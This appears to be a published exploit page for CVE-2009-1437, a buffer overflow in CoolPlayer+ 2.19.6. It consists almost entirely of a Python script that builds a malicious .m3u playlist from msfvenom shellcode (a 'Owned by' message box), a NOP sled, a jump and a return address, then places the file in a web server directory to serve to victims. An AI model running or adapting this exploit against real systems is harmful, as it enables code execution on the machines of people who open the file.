CVE-2009-1437 PortableApps CoolPlayer Portable缓冲区溢出漏洞

EXP

#!/usr/bin/python
""" 
Content:	Exploit coolplayer+ <= 2.19.6
Author: 	Florian Hansemann | @HanseSecure | https://hansesecure.de
Date: 		02/2018

Related		Vulnerability:	CVE-2009-1437 && Exploit https://www.exploit-db.com/exploits/8519/
"""

import sys
from subprocess import call


"""
RET address:
00402C77
Converted reverseHex value:
\x77\x2C\x40\x00

"""

#msfvenom -p windows/messagebox TEXT="Owned by @HanseSecure" -f python

buf =  ""
buf += "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
buf += "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
buf += "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
buf += "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
buf += "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
buf += "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
buf += "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
buf += "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
buf += "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
buf += "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
buf += "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
buf += "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
buf += "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
buf += "\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
buf += "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
buf += "\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"
buf += "\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"
buf += "\x24\x0a\x89\xe3\x68\x65\x58\x20\x20\x68\x65\x63\x75"
buf += "\x72\x68\x6e\x73\x65\x53\x68\x20\x40\x48\x61\x68\x64"
buf += "\x20\x62\x79\x68\x4f\x77\x6e\x65\x31\xc9\x88\x4c\x24"
buf += "\x15\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0"
buf += "\x50\xff\x55\x08"


ret = "\x77\x2C\x40\x00"
jmp = "\xeb\x1e"

buffer = "\x90"*230 + jmp + "\x90"*2 + ret + "\x90"*50 + buf + "A"*(4000-234-4-50-len(buf))


print "+ Creating malicious file"
file = open("test","w")
file.write(buffer)
file.close()
call('mv test /var/www/html/test.m3u', shell=True)
print "+ File created and moved to webspace successfully"